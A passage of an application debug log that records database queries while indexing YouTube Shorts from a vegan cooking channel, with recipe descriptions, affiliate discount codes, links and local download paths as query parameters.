15% off on your entire order with Complement and definitely try out their protein powders for this recipe as I've found they're simple, no bs, no filler protein powders are the best for this. Click the link below and use my discount code: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement \n\nVEGAN PROTEIN PANCAKES RECIPE ➡️ https://steamyvegan.com/protein-panca...\n\nIf you're located in Canada and looking for a Canadian protein powder that I'd recommend then check out Good Protein and my discount code below:\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Protein Pancakes 🥞 💪 🤤 (vegan & gluten-free)", "5ac702c0-02df-48fe-9875-3e90a372989c", 1, [], false, "c0m0GAFGcuw", "https://www.youtube.com/shorts/c0m0GAFGcuw", 40, "/downloads/downloads/alec/Steamy Vegan/2025-03-30 Protein Pancakes 🥞 💪 🤤 (vegan & gluten-free)/Protein Pancakes 🥞 💪 🤤 (vegan & gluten-free) [c0m0GAFGcuw].NA", false, false, true, 2, ~U[2025-03-30 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These protein pancakes are vegan, gluten-free and perfect for those looking to add more high-protein breakfast recipes to their vegan diet. I've spent years working on perfecting my protein pancakes and these ones definitely 'take the cake' LOL! \n\nGet 15% off on your entire order with Complement and definitely try out their protein powders for this recipe as I've found they're simple, no bs, no filler protein powders are the best for this. Click the link below and use my discount code: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement \n\nVEGAN PROTEIN PANCAKES RECIPE ➡️ https://steamyvegan.com/protein-panca...\n\nIf you're located in Canada and looking for a Canadian protein powder that I'd recommend then check out Good Protein and my discount code below:\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Protein Pancakes 🥞 💪 🤤 (vegan & gluten-free)", 1, nil, false, "c0m0GAFGcuw", "https://www.youtube.com/shorts/c0m0GAFGcuw", "/downloads/downloads/alec/Steamy Vegan/2025-03-30 Protein Pancakes 🥞 💪 🤤 (vegan & gluten-free)/Protein Pancakes 🥞 💪 🤤 (vegan & gluten-free) [c0m0GAFGcuw].NA", true, ~U[2025-03-30 00:00:00Z]] 20:31:09.074 [debug] QUERY OK source="sources" db=0.6ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.077 [debug] QUERY OK source="media_items" db=2.3ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-26 00:00:00Z], 1] 20:31:09.079 [debug] QUERY OK source="media_items" db=1.1ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu tikka masala is a super easy, 20 minute, vegan and gluten-free recipe that is perfect for meal prep. This vegan recipe only uses one pot so it's super simple to whip up, it's great for weight loss and is a high-protein vegan recipe.\n\nFull Recipe Ingredients on My Blog:\nVegan Tikka Masala ➡️ https://steamyvegan.com/vegan-tikka-m...\n\nIngredients\n \n1 tbsp olive oil (or ¼ cup water if oil-free)\n1 medium onion, diced\n4 to 5 cloves garlic, finely minced\n1 to 2 tbsp fresh ginger, grated\n1 tsp garam masala\n1 tsp ground cumin\n¾ tsp ground turmeric\n¾ tsp ground coriander\n⅛ tsp cayenne pepper\n½ tsp freshly ground black pepper\n2 cups tomato sauce (or 1 cup tomato paste diluted in water to make 2 cups)\n1 13.5 oz can full fat coconut milk", "Tofu Tikka Masala Recipe 🤤 One Pot, 20 mins", "86d1dd7e-19e3-407f-8ebb-e7cab08c6324", 1, [], false, "HkfbNa2VO74", "https://www.youtube.com/shorts/HkfbNa2VO74", 41, "/downloads/downloads/alec/Steamy Vegan/2025-03-26 Tofu Tikka Masala Recipe 🤤 One Pot, 20 mins/Tofu Tikka Masala Recipe 🤤 One Pot, 20 mins [HkfbNa2VO74].NA", false, false, true, 1, ~U[2025-03-26 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This tofu tikka masala is a super easy, 20 minute, vegan and gluten-free recipe that is perfect for meal prep. This vegan recipe only uses one pot so it's super simple to whip up, it's great for weight loss and is a high-protein vegan recipe.\n\nFull Recipe Ingredients on My Blog:\nVegan Tikka Masala ➡️ https://steamyvegan.com/vegan-tikka-m...\n\nIngredients\n \n1 tbsp olive oil (or ¼ cup water if oil-free)\n1 medium onion, diced\n4 to 5 cloves garlic, finely minced\n1 to 2 tbsp fresh ginger, grated\n1 tsp garam masala\n1 tsp ground cumin\n¾ tsp ground turmeric\n¾ tsp ground coriander\n⅛ tsp cayenne pepper\n½ tsp freshly ground black pepper\n2 cups tomato sauce (or 1 cup tomato paste diluted in water to make 2 cups)\n1 13.5 oz can full fat coconut milk", "Tofu Tikka Masala Recipe 🤤 One Pot, 20 mins", 1, nil, false, "HkfbNa2VO74", "https://www.youtube.com/shorts/HkfbNa2VO74", "/downloads/downloads/alec/Steamy Vegan/2025-03-26 Tofu Tikka Masala Recipe 🤤 One Pot, 20 mins/Tofu Tikka Masala Recipe 🤤 One Pot, 20 mins [HkfbNa2VO74].NA", true, ~U[2025-03-26 00:00:00Z]] 20:31:09.080 [debug] QUERY OK source="sources" db=0.7ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.082 [debug] QUERY OK source="media_items" db=2.0ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-25 00:00:00Z], 1] 20:31:09.083 [debug] QUERY OK source="media_items" db=1.1ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These lemon tomato butter beans are a super easy vegan recipes that are high-protein, gluten-free, and great for weight loss. I love adding this butter beans recipe to rice or mixing in spinach to make it an even healthier recipe.\n\nLemony Tomato Beans Full Recipe on the Blog ➡️ https://steamyvegan.com/lemony-tomato...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Lemony Tomato Beans Recipe (vegan and gluten-free)", "1d8ea0a9-3cd5-4d90-9bd5-0d916c8c106b", 1, [], false, "lqCfShs5xAU", "https://www.youtube.com/shorts/lqCfShs5xAU", 42, "/downloads/downloads/alec/Steamy Vegan/2025-03-25 Lemony Tomato Beans Recipe (vegan and gluten-free)/Lemony Tomato Beans Recipe (vegan and gluten-free) [lqCfShs5xAU].NA", false, false, true, 2, ~U[2025-03-25 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These lemon tomato butter beans are a super easy vegan recipes that are high-protein, gluten-free, and great for weight loss. I love adding this butter beans recipe to rice or mixing in spinach to make it an even healthier recipe.\n\nLemony Tomato Beans Full Recipe on the Blog ➡️ https://steamyvegan.com/lemony-tomato...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Lemony Tomato Beans Recipe (vegan and gluten-free)", 1, nil, false, "lqCfShs5xAU", "https://www.youtube.com/shorts/lqCfShs5xAU", "/downloads/downloads/alec/Steamy Vegan/2025-03-25 Lemony Tomato Beans Recipe (vegan and gluten-free)/Lemony Tomato Beans Recipe (vegan and gluten-free) [lqCfShs5xAU].NA", true, ~U[2025-03-25 00:00:00Z]] 20:31:09.084 [debug] QUERY OK source="sources" db=0.8ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.086 [debug] QUERY OK source="media_items" db=1.7ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-24 00:00:00Z], 1] 20:31:09.088 [debug] QUERY OK source="media_items" db=1.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This minestrone soup recipe is touted as being an easy and delicious recipe for longevity amongst one of the oldest families in Sardinia, Italy! If you're looking to add a staple vegan recipe into your plant-based diet for weight loss and longevity then this is the perfect recipe for you!\n\nFull recipe is on my blog ➡️ https://steamyvegan.com/minestrone-soup/\n\nLooking for a few other healthy plant-based recipes, check these out:\n3 Healthy Meal Prep Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Costco Grocery Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul\u00A0on\u00A0a\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\nNatalie Portman's Chickpea Stew: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Natalie\u00A0Portman's\u00A0FAVORITE\u00A0Vegan\u00A0R...\u00A0\u00A0\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The ‘Live TO 100 👵🏼’ Minestrone Soup! 🍜", "983ab847-8a81-4d80-b7ae-4b2f5f73a173", 1, [], false, "QjtmF-RBqSc", "https://www.youtube.com/shorts/QjtmF-RBqSc", 43, "/downloads/downloads/alec/Steamy Vegan/2025-03-24 The ‘Live TO 100 👵🏼’ Minestrone Soup! 🍜/The ‘Live TO 100 👵🏼’ Minestrone Soup! 🍜 [QjtmF-RBqSc].NA", false, false, true, 1, ~U[2025-03-24 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This minestrone soup recipe is touted as being an easy and delicious recipe for longevity amongst one of the oldest families in Sardinia, Italy! If you're looking to add a staple vegan recipe into your plant-based diet for weight loss and longevity then this is the perfect recipe for you!\n\nFull recipe is on my blog ➡️ https://steamyvegan.com/minestrone-soup/\n\nLooking for a few other healthy plant-based recipes, check these out:\n3 Healthy Meal Prep Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Costco Grocery Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul\u00A0on\u00A0a\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\nNatalie Portman's Chickpea Stew: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Natalie\u00A0Portman's\u00A0FAVORITE\u00A0Vegan\u00A0R...\u00A0\u00A0\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The ‘Live TO 100 👵🏼’ Minestrone Soup! 🍜", 1, nil, false, "QjtmF-RBqSc", "https://www.youtube.com/shorts/QjtmF-RBqSc", "/downloads/downloads/alec/Steamy Vegan/2025-03-24 The ‘Live TO 100 👵🏼’ Minestrone Soup! 🍜/The ‘Live TO 100 👵🏼’ Minestrone Soup! 🍜 [QjtmF-RBqSc].NA", true, ~U[2025-03-24 00:00:00Z]] 20:31:09.088 [debug] QUERY OK source="sources" db=0.5ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.090 [debug] QUERY OK source="media_items" db=1.9ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-23 00:00:00Z], 1] 20:31:09.093 [debug] QUERY OK source="media_items" db=1.2ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Vegan bacon bits using TVP? 🥓 Yup. And they’re unREAL. \n\nChewy, crispy, smoky, flavourful, AND very high-protein! 💪🏼 Throw ‘em on a salad, in wraps, vegan omelletes, on just about anything.\n\nCheck out full YouTube video where I feature them in my VEGAN BACON CHEESEBURGER CASSEROLE ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\nINGREDIENTS 🌱\n1½\u00A0cups (150g)\u00A0dry TVP\n2\u00A0cups\u00A0boiling water\n¼\u00A0cup\u00A0tamari or gluten-free soy sauce (low-sodium preferably)\n¼\u00A0cup\u00A0tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n1\u00A0tbsp\u00A0olive oil\n1\u00A0tsp\u00A0garlic powder\n1\u00A0tbsp\u00A0maple syrup\n1\u00A0tbsp\u00A0liquid smoke\n\n1. Add the dry TVP to a large bowl and pour the boiling water overtop, then cover and let it soak for 5 to 10 minutes. Strain over a fine mesh sieve and press any remaining water out with a large spoon or spatula.\n2. Add the remaining bacon sauce ingredients minus the oil to the rehydrated TVP and stir to combine.\n3. Heat a small skillet and warm the oil over medium heat. Add the seasoned TVP and cook for 8 to 10 minutes, stirring frequently, until lightly browned and most of the moisture has absorbed. Add to any recipe calling for bacon bits or vegan meat crumbles. ENJOY 💚\n\n🔥Follow @steamyvegankitchen for more tasty, easy and healthy vegan recipes! More recipes on my blog ➡️ STEAMYVEGAN DOT COM\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\n#TVP #veganbacon #highproteinvegan #highproteinrecipes #plantbased", "Vegan Bacon Bits using TVP! 🥓 🌱 They’re unREAL", "8d52cb39-5db8-4c22-8a7f-e7f192811fb1", 1, [], false, "YlOqMDomOLI", "https://www.youtube.com/shorts/YlOqMDomOLI", 44, "/downloads/downloads/alec/Steamy Vegan/2025-03-23 Vegan Bacon Bits using TVP! 🥓 🌱 They’re unREAL/Vegan Bacon Bits using TVP! 🥓 🌱 They’re unREAL [YlOqMDomOLI].NA", false, false, true, 1, ~U[2025-03-23 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Vegan bacon bits using TVP? 🥓 Yup. And they’re unREAL. \n\nChewy, crispy, smoky, flavourful, AND very high-protein! 💪🏼 Throw ‘em on a salad, in wraps, vegan omelletes, on just about anything.\n\nCheck out full YouTube video where I feature them in my VEGAN BACON CHEESEBURGER CASSEROLE ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\nINGREDIENTS 🌱\n1½\u00A0cups (150g)\u00A0dry TVP\n2\u00A0cups\u00A0boiling water\n¼\u00A0cup\u00A0tamari or gluten-free soy sauce (low-sodium preferably)\n¼\u00A0cup\u00A0tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n1\u00A0tbsp\u00A0olive oil\n1\u00A0tsp\u00A0garlic powder\n1\u00A0tbsp\u00A0maple syrup\n1\u00A0tbsp\u00A0liquid smoke\n\n1. Add the dry TVP to a large bowl and pour the boiling water overtop, then cover and let it soak for 5 to 10 minutes. Strain over a fine mesh sieve and press any remaining water out with a large spoon or spatula.\n2. Add the remaining bacon sauce ingredients minus the oil to the rehydrated TVP and stir to combine.\n3. Heat a small skillet and warm the oil over medium heat. Add the seasoned TVP and cook for 8 to 10 minutes, stirring frequently, until lightly browned and most of the moisture has absorbed. Add to any recipe calling for bacon bits or vegan meat crumbles. ENJOY 💚\n\n🔥Follow @steamyvegankitchen for more tasty, easy and healthy vegan recipes! More recipes on my blog ➡️ STEAMYVEGAN DOT COM\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\n#TVP #veganbacon #highproteinvegan #highproteinrecipes #plantbased", "Vegan Bacon Bits using TVP! 🥓 🌱 They’re unREAL", 1, nil, false, "YlOqMDomOLI", "https://www.youtube.com/shorts/YlOqMDomOLI", "/downloads/downloads/alec/Steamy Vegan/2025-03-23 Vegan Bacon Bits using TVP! 🥓 🌱 They’re unREAL/Vegan Bacon Bits using TVP! 🥓 🌱 They’re unREAL [YlOqMDomOLI].NA", true, ~U[2025-03-23 00:00:00Z]] 20:31:09.094 [debug] QUERY OK source="sources" db=0.9ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.097 [debug] QUERY OK source="media_items" db=2.2ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-13 00:00:00Z], 1] 20:31:09.098 [debug] QUERY OK source="media_items" db=0.7ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan and gluten-free smokey baked beans are such an easy vegan recipe that you'll be making them every week.", "Smokey Sweet Baked Beans Recipe", "49707515-0c5d-4687-b4a6-5ef901f0bc17", 1, [], false, "QYH2DtNMZVU", "https://www.youtube.com/shorts/QYH2DtNMZVU", 45, "/downloads/downloads/alec/Steamy Vegan/2025-03-13 Smokey Sweet Baked Beans Recipe/Smokey Sweet Baked Beans Recipe [QYH2DtNMZVU].NA", false, false, true, 1, ~U[2025-03-13 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan and gluten-free smokey baked beans are such an easy vegan recipe that you'll be making them every week.", "Smokey Sweet Baked Beans Recipe", 1, nil, 